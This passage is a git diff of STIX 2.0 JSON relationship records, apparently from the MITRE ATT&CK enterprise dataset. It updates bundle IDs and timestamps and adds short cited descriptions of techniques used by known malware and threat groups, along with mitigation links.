             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "P2P ZeuS added junk data to outgoing UDP packets to peer implants.",
             "source_ref": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85",
diff --git a/enterprise-attack/relationship/relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755.json b/enterprise-attack/relationship/relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755.json
index 5c2c0bf743..8bc0b3be74 100644
--- a/enterprise-attack/relationship/relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755.json
+++ b/enterprise-attack/relationship/relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c0fd54eb-d3c2-4945-b085-1a09d08a94c6",
+    "id": "bundle--61f169b6-7eeb-47f7-b6e5-e2d3c71db7e3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SPACESHIP copies staged data to removable drives when they are inserted into the system.",
             "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
diff --git a/enterprise-attack/relationship/relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740.json b/enterprise-attack/relationship/relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740.json
index 2722c8d70e..1ea78a7469 100644
--- a/enterprise-attack/relationship/relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740.json
+++ b/enterprise-attack/relationship/relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f66aeda9-914a-4c80-aedb-8f2ac228f1df",
+    "id": "bundle--0bb73729-bd26-444c-ab2e-a51950f454e4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in CozyCar allows arbitrary commands to be executed by invoking <code>C:\\Windows\\System32\\cmd.exe</code>.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e.json b/enterprise-attack/relationship/relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e.json
new file mode 100644
index 0000000000..5c0f7132da
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c867b1eb-657f-47fd-b458-a0ed20d4ccdc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--04ecc705-0027-4dda-85fe-d6ce028ef05e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can download remote files onto victims.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--05076bd4-e4cb-4234-90ae-c7ce45feb41f.json b/enterprise-attack/relationship/relationship--05076bd4-e4cb-4234-90ae-c7ce45feb41f.json
new file mode 100644
index 0000000000..a0fa700f59
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--05076bd4-e4cb-4234-90ae-c7ce45feb41f.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--b53c69bb-bd85-4e0f-92ba-4adb72296f09",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--05076bd4-e4cb-4234-90ae-c7ce45feb41f",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Dragonfly has used PowerShell.",
+            "source_ref": "intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1",
+            "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
+            "external_references": [
+                {
+                    "source_name": "Symantec Dragonfly",
+                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
+                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
+                },
+                {
+                    "source_name": "Symantec Dragonfly Sept 2017",
+                    "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group"
+                },
+                {
+                    "source_name": "US-CERT APT Energy Oct 2017",
+                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f.json b/enterprise-attack/relationship/relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f.json
index 500aba3a25..79403a2cbe 100644
--- a/enterprise-attack/relationship/relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f.json
+++ b/enterprise-attack/relationship/relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d8fb4f37-43bc-48e9-89f4-bdf216bf07ca",
+    "id": "bundle--3ed53b73-f853-451e-8684-67e51901d713",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.064Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-1314 actors mapped network drives using <code>net use</code>.",
             "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
diff --git a/enterprise-attack/relationship/relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae.json b/enterprise-attack/relationship/relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae.json
index 98378a1694..f1e900b9aa 100644
--- a/enterprise-attack/relationship/relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae.json
+++ b/enterprise-attack/relationship/relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--675a42ba-0107-4b0d-b754-3b2ca533f701",
+    "id": "bundle--def5348e-e0a9-4630-a271-4703c7367998",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FTP operates over ports 21 and 20.",
             "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
diff --git a/enterprise-attack/relationship/relationship--054a22c3-f0ee-476a-b0cb-e3277c755032.json b/enterprise-attack/relationship/relationship--054a22c3-f0ee-476a-b0cb-e3277c755032.json
index a13889a02a..dadcf33651 100644
--- a/enterprise-attack/relationship/relationship--054a22c3-f0ee-476a-b0cb-e3277c755032.json
+++ b/enterprise-attack/relationship/relationship--054a22c3-f0ee-476a-b0cb-e3277c755032.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5b58ada7-17a6-4d1c-a684-abdaa7914bc6",
+    "id": "bundle--a22693f8-1f9b-47cc-b7b4-46b69a45ac6c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--054a22c3-f0ee-476a-b0cb-e3277c755032",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BlackEnergy attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.",
             "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
diff --git a/enterprise-attack/relationship/relationship--05604d66-735a-4369-bc31-c7915bb3f2e0.json b/enterprise-attack/relationship/relationship--05604d66-735a-4369-bc31-c7915bb3f2e0.json
index c90fb2f260..e6a26a90b3 100644
--- a/enterprise-attack/relationship/relationship--05604d66-735a-4369-bc31-c7915bb3f2e0.json
+++ b/enterprise-attack/relationship/relationship--05604d66-735a-4369-bc31-c7915bb3f2e0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--87d21178-5c31-4de7-ad21-e57342bff2e7",
+    "id": "bundle--e12b6914-15e6-4533-bec2-cc3b8e4a0339",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--05604d66-735a-4369-bc31-c7915bb3f2e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Group5 C2 servers communicated with malware over TCP 8081, 8282, and 8083.",
             "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
diff --git a/enterprise-attack/relationship/relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3.json b/enterprise-attack/relationship/relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3.json
index 010f782785..cfc4a3dcf6 100644
--- a/enterprise-attack/relationship/relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3.json
+++ b/enterprise-attack/relationship/relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9efc236a-75cf-4604-bb40-084393667cb4",
+    "id": "bundle--9cf6b061-6d55-4743-a98c-181e471445dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0585e082-8f8e-4162-b4a8-3c1cef02f7e3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--059f8b03-59f9-45da-9c12-862f50e5fe45.json b/enterprise-attack/relationship/relationship--059f8b03-59f9-45da-9c12-862f50e5fe45.json
index 5f2754e658..585a6a36e6 100644
--- a/enterprise-attack/relationship/relationship--059f8b03-59f9-45da-9c12-862f50e5fe45.json
+++ b/enterprise-attack/relationship/relationship--059f8b03-59f9-45da-9c12-862f50e5fe45.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--563d756b-a7af-4f9e-82dd-f8c77ea93237",
+    "id": "bundle--dda05a1a-a192-49f6-b0ec-4f6271cf2877",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--059f8b03-59f9-45da-9c12-862f50e5fe45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FIN10 has used batch scripts and scheduled tasks to delete critical system files.",
             "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
diff --git a/enterprise-attack/relationship/relationship--05d3fd1d-6041-4395-906a-e3104a192e1c.json b/enterprise-attack/relationship/relationship--05d3fd1d-6041-4395-906a-e3104a192e1c.json
index 9ccd2548e2..a519ea7be9 100644
--- a/enterprise-attack/relationship/relationship--05d3fd1d-6041-4395-906a-e3104a192e1c.json
+++ b/enterprise-attack/relationship/relationship--05d3fd1d-6041-4395-906a-e3104a192e1c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8e76c0a3-0b2d-49a2-a447-f470ea464cf2",
+    "id": "bundle--dc169f77-4499-4104-ad5b-5d3985124c49",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--05d3fd1d-6041-4395-906a-e3104a192e1c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1c6bc7f3-d517-4971-aed4-8f939090846b",
             "target_ref": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125",
diff --git a/enterprise-attack/relationship/relationship--05e05236-1635-48d7-8ee3-33319c01c815.json b/enterprise-attack/relationship/relationship--05e05236-1635-48d7-8ee3-33319c01c815.json
index 02a18bdd9a..4e9ea2218c 100644
--- a/enterprise-attack/relationship/relationship--05e05236-1635-48d7-8ee3-33319c01c815.json
+++ b/enterprise-attack/relationship/relationship--05e05236-1635-48d7-8ee3-33319c01c815.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--576a1779-335a-4e36-a9cb-e6922bc07930",
+    "id": "bundle--df82b54c-12da-4bbd-b54c-7b7960554392",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--05e05236-1635-48d7-8ee3-33319c01c815",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.079Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Winnti Group used a rootkit to modify typical server functionality.",
             "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
diff --git a/enterprise-attack/relationship/relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a.json b/enterprise-attack/relationship/relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a.json
new file mode 100644
index 0000000000..1b7981ceaa
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--34c1385b-c549-4896-b0e6-f6065854f3aa",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--05e9e12f-be5e-46f4-9f42-6f7fb7e9fb4a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has exfiltrated files stolen from local systems.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--062b1f19-2afb-4bdc-908e-99594ff114cf.json b/enterprise-attack/relationship/relationship--062b1f19-2afb-4bdc-908e-99594ff114cf.json
index 2920cd56fa..bd1997676e 100644
--- a/enterprise-attack/relationship/relationship--062b1f19-2afb-4bdc-908e-99594ff114cf.json
+++ b/enterprise-attack/relationship/relationship--062b1f19-2afb-4bdc-908e-99594ff114cf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b87c1302-1e4d-4479-8232-2a286dbf972e",
+    "id": "bundle--422334df-a018-4278-afdd-8b850b2fc423",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--062b1f19-2afb-4bdc-908e-99594ff114cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Epic implements a command and control protocol over HTTP.",
             "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd.json b/enterprise-attack/relationship/relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd.json
index 5fa85a32e3..321f7fb064 100644
--- a/enterprise-attack/relationship/relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd.json
+++ b/enterprise-attack/relationship/relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--92c86ec1-02b3-4da4-a152-14710c446221",
+    "id": "bundle--136a9c4c-a14f-498f-b264-9fd09933bdf4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--062ebca3-abf7-449a-ad84-f04a3cada4dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Equation contains functionality to search for specific information about the attached hard drive that could be used to identify and overwrite the firmware.",
             "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
diff --git a/enterprise-attack/relationship/relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74.json b/enterprise-attack/relationship/relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74.json
index ade42fbca6..e55596c126 100644
--- a/enterprise-attack/relationship/relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74.json
+++ b/enterprise-attack/relationship/relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ba65e4de-4e11-41c6-8b53-d848f7479749",
+    "id": "bundle--945a502b-751b-49bf-9981-6c0c3db48631",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0649f7fd-3aa1-4646-a7a4-2334088c6c74",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "T9000 gathers and beacons the MAC and IP addresses during installation.",
             "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
diff --git a/enterprise-attack/relationship/relationship--067814b5-aa57-45e0-9bdf-5536b077c224.json b/enterprise-attack/relationship/relationship--067814b5-aa57-45e0-9bdf-5536b077c224.json
index 248cd14309..960a02a473 100644
--- a/enterprise-attack/relationship/relationship--067814b5-aa57-45e0-9bdf-5536b077c224.json
+++ b/enterprise-attack/relationship/relationship--067814b5-aa57-45e0-9bdf-5536b077c224.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b236d858-88b8-444e-b859-c99a778044da",
+    "id": "bundle--5b15759d-5cf4-424c-af6e-45dec261111e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--067814b5-aa57-45e0-9bdf-5536b077c224",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.050Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
             "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
diff --git a/enterprise-attack/relationship/relationship--069e82d5-89f2-4477-a1f5-115be8ab040a.json b/enterprise-attack/relationship/relationship--069e82d5-89f2-4477-a1f5-115be8ab040a.json
index b68389aa2d..50df38f6d3 100644
--- a/enterprise-attack/relationship/relationship--069e82d5-89f2-4477-a1f5-115be8ab040a.json
+++ b/enterprise-attack/relationship/relationship--069e82d5-89f2-4477-a1f5-115be8ab040a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3e022eaf-e860-4c5d-8253-2c3823ff1a96",
+    "id": "bundle--4cfbb240-0a19-4dec-bbbd-09c40bb0f204",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--069e82d5-89f2-4477-a1f5-115be8ab040a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.021Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04",
             "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
diff --git a/enterprise-attack/relationship/relationship--06a8b931-7881-4e8b-a970-c430379279ca.json b/enterprise-attack/relationship/relationship--06a8b931-7881-4e8b-a970-c430379279ca.json
index 6822662a1a..84ed3b949f 100644
--- a/enterprise-attack/relationship/relationship--06a8b931-7881-4e8b-a970-c430379279ca.json
+++ b/enterprise-attack/relationship/relationship--06a8b931-7881-4e8b-a970-c430379279ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3586c911-f9b2-43dd-a37c-3a44d9441792",
+    "id": "bundle--41a42be4-d760-4192-83c5-5ec3b1586bc1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--06a8b931-7881-4e8b-a970-c430379279ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5",
             "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d",
diff --git a/enterprise-attack/relationship/relationship--06cd0498-7ebb-41e6-9399-c43c82487540.json b/enterprise-attack/relationship/relationship--06cd0498-7ebb-41e6-9399-c43c82487540.json
index 8047e86955..bce19dd6f5 100644
--- a/enterprise-attack/relationship/relationship--06cd0498-7ebb-41e6-9399-c43c82487540.json
+++ b/enterprise-attack/relationship/relationship--06cd0498-7ebb-41e6-9399-c43c82487540.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3b5271b9-9aa5-4c7b-b2cb-445e4104e7ea",
+    "id": "bundle--ffb4d156-ab8b-4ab7-b68d-d3d3ca44a422",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--06cd0498-7ebb-41e6-9399-c43c82487540",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d",
             "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
diff --git a/enterprise-attack/relationship/relationship--0727c98a-b7e0-45ba-a20e-632d394ef422.json b/enterprise-attack/relationship/relationship--0727c98a-b7e0-45ba-a20e-632d394ef422.json
index 7bb3089f78..2f6f4c3815 100644
--- a/enterprise-attack/relationship/relationship--0727c98a-b7e0-45ba-a20e-632d394ef422.json
+++ b/enterprise-attack/relationship/relationship--0727c98a-b7e0-45ba-a20e-632d394ef422.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3fe12866-0d8c-4b2a-b329-13335f223f6e",
+    "id": "bundle--3e82a2f1-d625-4949-a9ba-78593a4d829d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0727c98a-b7e0-45ba-a20e-632d394ef422",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.030Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432",
             "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
diff --git a/enterprise-attack/relationship/relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd.json b/enterprise-attack/relationship/relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd.json
index 97a4e2eb90..05276a7da7 100644
--- a/enterprise-attack/relationship/relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd.json
+++ b/enterprise-attack/relationship/relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3ececd18-1911-4c40-a1e6-5b81ca8646a4",
+    "id": "bundle--6de3e7c1-0169-43c9-8e08-6e5288ca67a8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--075e7d33-8d5c-4016-9a24-dc6e61f56fcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0.json b/enterprise-attack/relationship/relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0.json
new file mode 100644
index 0000000000..d621a21bf2
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a870231d-69fb-4db8-91bd-5b8b89bf7cb1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--07a550a2-27c1-43f5-8b30-c288441ad5b0",
